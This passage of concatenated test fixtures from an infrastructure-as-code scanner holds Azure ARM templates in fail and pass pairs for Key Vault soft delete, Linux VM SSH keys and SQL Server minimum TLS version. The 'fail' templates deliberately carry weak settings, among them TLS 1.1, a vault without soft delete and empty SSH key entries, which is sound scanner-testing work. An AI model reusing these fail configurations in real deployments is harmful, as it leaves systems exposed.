"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "keyVaultName": { "type": "string", "metadata": { "description": "Specifies the name of the key vault." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Specifies the Azure location where the key vault should be created." } }, "enabledForDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault." } }, "enabledForDiskEncryption": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys." } }, "enabledForTemplateDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault." } }, "tenantId": { "type": "string", "defaultValue": "[subscription().tenantId]", "metadata": { "description": "Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet." } }, "objectId": { "type": "string", "metadata": { "description": "Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets." } }, "keysPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge." } }, "secretsPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge." } }, "skuName": { "type": "string", "defaultValue": "Standard", "allowedValues": [ "Standard", "Premium" ], "metadata": { "description": "Specifies whether the key vault is a standard vault or a premium vault." } }, "secretName": { "type": "string", "metadata": { "description": "Specifies the name of the secret that you want to create." } }, "secretValue": { "type": "securestring", "metadata": { "description": "Specifies the value of the secret that you want to create." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults", "name": "[parameters('keyVaultName')]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "properties": { "enabledForDeployment": "[parameters('enabledForDeployment')]", "enabledForDiskEncryption": "[parameters('enabledForDiskEncryption')]", "enabledForTemplateDeployment": "[parameters('enabledForTemplateDeployment')]", "tenantId": "[parameters('tenantId')]", "accessPolicies": [ { "objectId": "[parameters('objectId')]", "tenantId": "[parameters('tenantId')]", "permissions": { "keys": "[parameters('keysPermissions')]", "secrets": "[parameters('secretsPermissions')]" } } ], "sku": { "name": "[parameters('skuName')]", "family": "A" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices" }, "enablePurgeProtection": "true" } }, { "type": "Microsoft.KeyVault/vaults/secrets", "name": "[concat(parameters('keyVaultName'), '/', parameters('secretName'))]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" ], "properties": { "value": "[parameters('secretValue')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyvaultRecoveryEnabled/keyvaultRecoveryEnabled-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "keyVaultName": { "type": "string", "metadata": { "description": "Specifies the name of the key vault." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Specifies the Azure location where the key vault should be created." } }, "enabledForDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault." } }, "enabledForDiskEncryption": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys." } }, "enabledForTemplateDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault." } }, "tenantId": { "type": "string", "defaultValue": "[subscription().tenantId]", "metadata": { "description": "Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet." } }, "objectId": { "type": "string", "metadata": { "description": "Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets." } }, "keysPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge." } }, "secretsPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge." } }, "skuName": { "type": "string", "defaultValue": "Standard", "allowedValues": [ "Standard", "Premium" ], "metadata": { "description": "Specifies whether the key vault is a standard vault or a premium vault." } }, "secretName": { "type": "string", "metadata": { "description": "Specifies the name of the secret that you want to create." } }, "secretValue": { "type": "securestring", "metadata": { "description": "Specifies the value of the secret that you want to create." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults", "name": "[parameters('keyVaultName')]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "properties": { "enabledForDeployment": "[parameters('enabledForDeployment')]", "enabledForDiskEncryption": "[parameters('enabledForDiskEncryption')]", "enabledForTemplateDeployment": "[parameters('enabledForTemplateDeployment')]", "tenantId": "[parameters('tenantId')]", "accessPolicies": [ { "objectId": "[parameters('objectId')]", "tenantId": "[parameters('tenantId')]", "permissions": { "keys": "[parameters('keysPermissions')]", "secrets": "[parameters('secretsPermissions')]" } } ], "sku": { "name": "[parameters('skuName')]", "family": "A" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices" }, "enableSoftDelete": "true", "softDeleteRetentionInDays": "30", "enablePurgeProtection": "true" } }, { "type": "Microsoft.KeyVault/vaults/secrets", "name": "[concat(parameters('keyVaultName'), '/', parameters('secretName'))]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" ], "properties": { "value": "[parameters('secretValue')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_LinuxVMUsesSSH/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "defaultValue": "azureuser", "metadata": { "description": "User name for the Virtual Machine." } }, "sshKeyData": { "type": "string", "metadata": { "description": "SSH rsa public key file as a string." } }, "vmName": { "type": "string", "defaultValue": "multinicvm", "metadata": { "description": "Name of the VM" } }, "vmSize": { "defaultValue": "Standard_D2_v3", "metadata": { "description": "Size of the VM" }, "type": "string" }, "ubuntuOSVersion": { "type": "string", "defaultValue": "18.04-LTS", "allowedValues": [ "12.04.5-LTS", "14.04.4-LTS", "15.10", "18.04-LTS" ], "metadata": { "description": "The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version. Allowed values: 12.04.5-LTS, 14.04.4-LTS, 15.10, 18.04-LTS." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "description" } } }, "variables": { "storageAccountName": "[concat(uniquestring(resourceGroup().id), 'samultinic')]", "storageAccountType": "Standard_LRS", "imagePublisher": "Canonical", "imageOffer": "UbuntuServer", "sshKeyPath": "[concat('/home/',parameters('adminUsername'),'/.ssh/authorized_keys')]", "nic1Name": "nic1", "nic2Name": "nic2", "vnetName": "vnet", "vnetId": "[resourceId('Microsoft.Network/virtualNetworks', variables('vnetName'))]", "addressPrefix": "10.0.0.0/16", "subnet1Name": "Frontend", "subnet1Id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('vnetName'), variables('subnet1Name'))]", "subnet1Prefix": "10.0.1.0/24", "subnet1PrivateAddress": "10.0.1.5", "subnet2Name": "Web", "subnet2Id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('vnetName'), variables('subnet2Name'))]", "subnet2Prefix": "10.0.2.0/24", "subnet2PrivateAddress": "10.0.2.5", "publicIPAddressName": "[concat(uniquestring(resourceGroup().id), 'PublicIp')]", "publicIPAddressType": "Dynamic", "publicIPAddressId": "[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]", "networkSecurityGroupName": "default-NSG" }, "resources": [ { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2020-06-01", "dependsOn": [ "[resourceId('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]", "[resourceId('Microsoft.Network/networkInterfaces/', variables('nic1Name'))]", "[resourceId('Microsoft.Network/networkInterfaces/', variables('nic2Name'))]" ], "location": "[parameters('location')]", "name": "fail", "properties": { "diagnosticsProfile": { "bootDiagnostics": { "enabled": true, "storageUri": "[reference(resourceId('Microsoft.Storage/storageAccounts/', variables('storageAccountName')), '2019-06-01').primaryEndpoints.blob]" } }, "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('nic1Name'))]", "properties": { "primary": true } }, { "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('nic2Name'))]", "properties": { "primary": false } } ] }, "osProfile": { "computerName": "[parameters('vmName')]", "adminUsername": "[parameters('adminUsername')]", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { } ] } } }, "storageProfile": { "imageReference": { "publisher": "[variables('imagePublisher')]", "offer": "[variables('imageOffer')]", "sku": "[parameters('ubuntuOSVersion')]", "version": "latest" }, "osDisk": { "createOption": "FromImage" } } } }, { "type": "Microsoft.Compute/virtualMachineScaleSets", "name": "fail", "location": "[parameters('location')]", "apiVersion": "2019-12-01", "dependsOn": [ "[resourceId('Microsoft.Network/loadBalancers', variables('loadBalancerName'))]" ], "sku": { "name": "[parameters('vmSku')]", "capacity": "[parameters('instanceCount')]" }, "properties": { "overprovision": true, "upgradePolicy": { "mode": "Manual" }, "virtualMachineProfile": { "storageProfile": { "osDisk": { "createOption": "FromImage", "caching": "ReadWrite" }, "imageReference": { "publisher": "Canonical", "offer": "UbuntuServer", "sku": "16.04-LTS", "version": "latest" } }, "osProfile": { "computerNamePrefix": "[parameters('vmssName')]", "adminUsername": "[parameters('adminUsername')]", "adminPassword": "[parameters('adminPasswordOrKey')]", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { } ] } } }, "networkProfile": { "networkInterfaceConfigurations": [ { "name": "nic", "properties": { "primary": true, "ipConfigurations": [ { "name": "ipconfig", "properties": { "subnet": { "id": "[resourceId(parameters('existingVnetResourceGroupName'), 'Microsoft.Network/virtualNetworks/subnets', parameters('existingVnetName'), parameters('existingSubNetName'))]" }, "loadBalancerBackendAddressPools": [ { "id": "[resourceId('Microsoft.Network/loadBalancers/backendAddressPools', variables('loadBalancerName'), variables('loadBalancerBackEndName'))]" } ], "loadBalancerInboundNatPools": [ { "id": "[resourceId('Microsoft.Network/loadBalancers/inboundNatPools', variables('loadBalancerName'), variables('loadBalancerNatPoolName'))]" } ] } } ] } } ] } } } } ], "outputs": { "sshCommand": { "type": "string", "value": "[concat('ssh ', parameters('adminUsername'), '@', parameters('vmName'), '.', parameters('location'), '.cloudapp.azure.com')]" } } } ================================================ FILE: tests/arm/checks/resource/example_LinuxVMUsesSSH/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "defaultValue": "azureuser", "metadata": { "description": "User name for the Virtual Machine." } }, "sshKeyData": { "type": "string", "metadata": { "description": "SSH rsa public key file as a string." } }, "vmName": { "type": "string", "defaultValue": "multinicvm", "metadata": { "description": "Name of the VM" } }, "vmSize": { "defaultValue": "Standard_D2_v3", "metadata": { "description": "Size of the VM" }, "type": "string" }, "ubuntuOSVersion": { "type": "string", "defaultValue": "18.04-LTS", "allowedValues": [ "12.04.5-LTS", "14.04.4-LTS", "15.10", "18.04-LTS" ], "metadata": { "description": "The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version. Allowed values: 12.04.5-LTS, 14.04.4-LTS, 15.10, 18.04-LTS." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "description" } } }, "variables": { "storageAccountName": "[concat(uniquestring(resourceGroup().id), 'samultinic')]", "storageAccountType": "Standard_LRS", "imagePublisher": "Canonical", "imageOffer": "UbuntuServer", "sshKeyPath": "[concat('/home/',parameters('adminUsername'),'/.ssh/authorized_keys')]", "nic1Name": "nic1", "nic2Name": "nic2", "vnetName": "vnet", "vnetId": "[resourceId('Microsoft.Network/virtualNetworks', variables('vnetName'))]", "addressPrefix": "10.0.0.0/16", "subnet1Name": "Frontend", "subnet1Id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('vnetName'), variables('subnet1Name'))]", "subnet1Prefix": "10.0.1.0/24", "subnet1PrivateAddress": "10.0.1.5", "subnet2Name": "Web", "subnet2Id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('vnetName'), variables('subnet2Name'))]", "subnet2Prefix": "10.0.2.0/24", "subnet2PrivateAddress": "10.0.2.5", "publicIPAddressName": "[concat(uniquestring(resourceGroup().id), 'PublicIp')]", "publicIPAddressType": "Dynamic", "publicIPAddressId": "[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]", "networkSecurityGroupName": "default-NSG" }, "resources": [ { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2020-06-01", "dependsOn": [ "[resourceId('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]", "[resourceId('Microsoft.Network/networkInterfaces/', variables('nic1Name'))]", "[resourceId('Microsoft.Network/networkInterfaces/', variables('nic2Name'))]" ], "location": "[parameters('location')]", "name": "pass", "properties": { "diagnosticsProfile": { "bootDiagnostics": { "enabled": true, "storageUri": "[reference(resourceId('Microsoft.Storage/storageAccounts/', variables('storageAccountName')), '2019-06-01').primaryEndpoints.blob]" } }, "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('nic1Name'))]", "properties": { "primary": true } }, { "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('nic2Name'))]", "properties": { "primary": false } } ] }, "osProfile": { "computerName": "[parameters('vmName')]", "adminUsername": "[parameters('adminUsername')]", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "/.ssh/authorized_keys", "keyData": "[parameters('sshKeyData')]" } ] } } }, "storageProfile": { "imageReference": { "publisher": "[variables('imagePublisher')]", "offer": "[variables('imageOffer')]", "sku": "[parameters('ubuntuOSVersion')]", "version": "latest" }, "osDisk": { "createOption": "FromImage" } } } }, { "type": "Microsoft.Compute/virtualMachineScaleSets", "name": "pass", "location": "[parameters('location')]", "apiVersion": "2019-12-01", "dependsOn": [ "[resourceId('Microsoft.Network/loadBalancers', variables('loadBalancerName'))]" ], "sku": { "name": "[parameters('vmSku')]", "capacity": "[parameters('instanceCount')]" }, "properties": { "overprovision": true, "upgradePolicy": { "mode": "Manual" }, "virtualMachineProfile": { "storageProfile": { "osDisk": { "createOption": "FromImage", "caching": "ReadWrite" }, "imageReference": { "publisher": "Canonical", "offer": "UbuntuServer", "sku": "16.04-LTS", "version": "latest" } }, "osProfile": { "computerNamePrefix": "[parameters('vmssName')]", "adminUsername": "[parameters('adminUsername')]", "adminPassword": "[parameters('adminPasswordOrKey')]", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "/.ssh/authorized_keys", "keyData": "[parameters('sshKeyData')]" } ] } } }, "networkProfile": { "networkInterfaceConfigurations": [ { "name": "nic", "properties": { "primary": true, "ipConfigurations": [ { "name": "ipconfig", "properties": { "subnet": { "id": "[resourceId(parameters('existingVnetResourceGroupName'), 'Microsoft.Network/virtualNetworks/subnets', parameters('existingVnetName'), parameters('existingSubNetName'))]" }, "loadBalancerBackendAddressPools": [ { "id": "[resourceId('Microsoft.Network/loadBalancers/backendAddressPools', variables('loadBalancerName'), variables('loadBalancerBackEndName'))]" } ], "loadBalancerInboundNatPools": [ { "id": "[resourceId('Microsoft.Network/loadBalancers/inboundNatPools', variables('loadBalancerName'), variables('loadBalancerNatPoolName'))]" } ] } } ] } } ] } } } } ], "outputs": { "sshCommand": { "type": "string", "value": "[concat('ssh ', parameters('adminUsername'), '@', parameters('vmName'), '.', parameters('location'), '.cloudapp.azure.com')]" } } } ================================================ FILE: tests/arm/checks/resource/example_MSSQLServerMinTLSVersion/fail.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "apiVersion": { "type": "string", "defaultValue": "2021-05-01" }, "administratorLogin": { "type": "string" }, "administratorLoginPassword": { "type": "securestring" }, "location": { "type": "string" }, "serverName": { "type": "string" }, "serverEdition": { "type": "string" }, "vCores": { "type": "int", "defaultValue": 4 }, "storageSizeGB": { "type": "int" }, "haEnabled": { "type": "string", "defaultValue": "Disabled" }, "availabilityZone": { "type": "string", "defaultValue": "" }, "standbyAvailabilityZone": { "type": "string" }, "version": { "type": "string" }, "tags": { "type": "object", "defaultValue": {} }, "firewallRules": { "type": "object", "defaultValue": {} }, "backupRetentionDays": { "type": "int" }, "geoRedundantBackup": { "type": "string" }, "vmName": { "type": "string", "defaultValue": "Standard_B1ms" }, "storageIops": { "type": "int" }, "storageAutogrow": { "type": "string", "defaultValue": "Enabled" }, "autoIoScaling": { "type": "string", "defaultValue": "Disabled" }, "identityData": { "type": "object", "defaultValue": {} }, "dataEncryptionData": { "type": "object", "defaultValue": {} }, "serverParameters": { "type": "array", "defaultValue": [] }, "aadEnabled": { "type": "bool", "defaultValue": false }, "aadData": { "type": "object", "defaultValue": {} }, "guid": { "type": "string", "defaultValue": "[newGuid()]" }, "network": { "type": "object", "defaultValue": {} }, "firewallRulesAPIVersion": { "type": "string", "defaultValue": "2022-01-01" } }, "variables": { "api": "[parameters('apiVersion')]", "firewallRules": "[parameters('firewallRules').rules]", "serverParameters": "[parameters('serverParameters')]" }, "resources": [ { "type": "Microsoft.Sql/servers", "apiVersion": "2023-05-01-preview", "name": "fail", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "identity": { "type": "string", "userAssignedIdentities": { "{customized property}": {} } }, "properties": { "administratorLogin": "string", "administratorLoginPassword": "string", "administrators": { "administratorType": "ActiveDirectory", "azureADOnlyAuthentication": "bool", "login": "string", "principalType": "string", "sid": "string", "tenantId": "string" }, "federatedClientId": "string", "isIPv6Enabled": "string", "keyId": "string", "minimalTlsVersion": "1.1", "primaryUserAssignedIdentityId": "string", "publicNetworkAccess": "string", "restrictOutboundNetworkAccess": "string", "version": "string" } }, { "condition": "[greater(length(variables('firewallRules')), 0)]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('firewallRules-', parameters('guid'), '-', copyIndex())]", "copy": { "count": "[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]", "mode": "Serial", "name": "firewallRulesIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/firewallRules", "name": "[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]", "apiVersion": "[parameters('firewallRulesAPIVersion')]", "properties": { "StartIpAddress": "[variables('firewallRules')[copyIndex()].startIPAddress]", "EndIpAddress": "[variables('firewallRules')[copyIndex()].endIPAddress]" } } ] } } }, { "condition": "[parameters('aadEnabled')]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('addAdmins-', parameters('guid'))]", "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/administrators", "name": "[concat(parameters('serverName'),'/ActiveDirectory')]", "apiVersion": "[variables('api')]", "properties": { "administratorType": "[parameters('aadData').administratorType]", "identityResourceId": "[parameters('aadData').identityResourceId]", "login": "[parameters('aadData').login]", "sid": "[parameters('aadData').sid]", "tenantId": "[parameters('aadData').tenantId]" } } ] } } }, { "condition": "[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "copy": { "count": "[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]", "mode": "serial", "name": "serverParametersIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "name": "[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]", "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/configurations", "name": "[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]", "apiVersion": "[variables('api')]", "properties": { "value": "[variables('serverParameters')[copyIndex()].value]", "source": "[variables('serverParameters')[copyIndex()].source]" } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_MSSQLServerMinTLSVersion/pass.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "apiVersion": { "type": "string", "defaultValue": "2021-05-01" }, "administratorLogin": { "type": "string" }, "administratorLoginPassword": { "type": "securestring" }, "location": { "type": "string" }, "serverName": { "type": "string" }, "serverEdition": { "type": "string" }, "vCores": { "type": "int", "defaultValue": 4 }, "storageSizeGB": { "type": "int" }, "haEnabled": { "type": "string", "defaultValue": "Disabled" }, "availabilityZone": { "type": "string", "defaultValue": "" }, "standbyAvailabilityZone": { "type": "string" }, "version": { "type": "string" }, "tags": { "type": "object", "defaultValue": {} }, "firewallRules": { "type": "object", "defaultValue": {} }, "backupRetentionDays": { "type": "int" }, "geoRedundantBackup": { "type": "string" }, "vmName": { "type": "string", "defaultValue": "Standard_B1ms" }, "storageIops": { "type": "int" }, "storageAutogrow": { "type": "string", "defaultValue": "Enabled" }, "autoIoScaling": { "type": "string", "defaultValue": "Disabled" }, "identityData": { "type": "object", "defaultValue": {} }, "dataEncryptionData": { "type": "object", "defaultValue": {} }, "serverParameters": { "type": "array", "defaultValue": [] }, "aadEnabled": { "type": "bool", "defaultValue": false }, "aadData": { "type": "object", "defaultValue": {} }, "guid": { "type": "string", "defaultValue": "[newGuid()]" }, "network": { "type": "object", "defaultValue": {} }, "firewallRulesAPIVersion": { "type": "string", "defaultValue": "2022-01-01" } }, "variables": { "api": "[parameters('apiVersion')]", "firewallRules": "[parameters('firewallRules').rules]", "serverParameters": "[parameters('serverParameters')]" }, "resources": [ { "type": "Microsoft.Sql/servers", "apiVersion": "2023-05-01-preview", "name": "pass", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "identity": { "type": "string", "userAssignedIdentities": { "{customized property}": {} } }, "properties": { "administratorLogin": "string", "administratorLoginPassword": "string", "administrators": { "administratorType": "ActiveDirectory", "azureADOnlyAuthentication": "bool", "login": "string", "principalType": "string", "sid": "string", "tenantId": "string" }, "federatedClientId": "string", "isIPv6Enabled": "string", "keyId": "string", "minimalTlsVersion": "1.2", "primaryUserAssignedIdentityId": "string", "publicNetworkAccess": "string", "restrictOutboundNetworkAccess": "string", "version": "string" } }, { "condition": "[greater(length(variables('firewallRules')), 0)]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('firewallRules-', parameters('guid'), '-', copyIndex())]", "copy": { "count": "[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]", "mode": "Serial", "name": "firewallRulesIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/firewallRules", "name": "[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]", "apiVersion": "[parameters('firewallRulesAPIVersion')]", "properties": { "StartIpAddress": "[variables('firewallRules')[copyIndex()].startIPAddress]", "EndIpAddress": "[variables('firewallRules')[copyIndex()].endIPAddress]" } } ] } } }, { "condition": "[parameters('aadEnabled')]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('addAdmins-', parameters('guid'))]", "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/administrators", "name": "[concat(parameters('serverName'),'/ActiveDirectory')]", "apiVersion": "[variables('api')]", "properties": { "administratorType": "[parameters('aadData').administratorType]", "identityResourceId": "[parameters('aadData').identityResourceId]", "login": "[parameters('aadData').login]", "sid": "[parameters('aadData').sid]", "tenantId": "[parameters('aadData').tenantId]" } } ] } } }, { "condition": "[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "copy": { "count": "[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]", "mode": "serial", "name": "serverParametersIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "name": "[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]", "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/configurations", "name": "[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]", "apiVersion": "[variables('api')]", "properties": { "value": "[variables('serverParameters')[copyIndex()].value]", "source": "[variables('serverParameters')[copyIndex()].source]" } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_MSSQLServerMinTLSVersion/pass2.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "apiVersion": { "type": "string", "defaultValue": "2021-05-01" }, "administratorLogin": { "type": "string" }, "administratorLoginPassword": { "type": "securestring" }, "location": { "type": "string" }, "serverName": { "type": "string" }, "serverEdition": { "type": "string" }, "vCores": { "type": "int", "defaultValue": 4 }, "storageSizeGB": { "type": "int" }, "haEnabled": { "type": "string", "defaultValue": "Disabled" }, "availabilityZone": { "type": "string", "defaultValue": "" }, "standbyAvailabilityZone": { "type": "string" }, "version": { "type": "string" }, "tags": { "type": "object", "defaultValue": {} }, "firewallRules": { "type": "object", "defaultValue": {} }, "backupRetentionDays": { "type": "int" }, "geoRedundantBackup": { "type": "string" }, "vmName": { "type": "string", "defaultValue": "Standard_B1ms" }, "storageIops": { "type": "int" }, "storageAutogrow": { "type": "string", "defaultValue": "Enabled" }, "autoIoScaling": { "type": "string", "defaultValue": "Disabled" }, "identityData": { "type": "object", "defaultValue": {} }, "dataEncryptionData": { "type": "object", "defaultValue": {} }, "serverParameters": { "type": "array", "defaultValue": [] }, "aadEnabled": { "type": "bool", "defaultValue": false }, "aadData": { "type": "object", "defaultValue": {} }, "guid": { "type": "string", "defaultValue": "[newGuid()]" }, "network": { "type": "object", "defaultValue": {} }, "firewallRulesAPIVersion": { "type": "string", "defaultValue": "2022-01-01" } }, "variables": { "api": "[parameters('apiVersion')]", "firewallRules": "[parameters('firewallRules').rules]", "serverParameters": "[parameters('serverParameters')]" }, "resources": [ { "type": "Microsoft.Sql/servers", "apiVersion": "2023-05-01-preview", "name": "pass2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "identity": { "type": "string", "userAssignedIdentities": { "{customized property}": {} } }, "properties": { "administratorLogin": "string", "administratorLoginPassword": "string", "administrators": { "administratorType": "ActiveDirectory", "azureADOnlyAuthentication": "bool", "login": "string", "principalType": "string", "sid": "string", "tenantId": "string" }, "federatedClientId": "string", "isIPv6Enabled": "string", "keyId": "string", "minimalTlsVersion": "1.3", "primaryUserAssignedIdentityId": "string", "publicNetworkAccess": "string", "restrictOutboundNetworkAccess": "string", "version": "string" } }, { "condition": "[greater(length(variables('firewallRules')), 0)]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('firewallRules-', parameters('guid'), '-', copyIndex())]", "copy": { "count": "[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]", "mode": "Serial", "name": 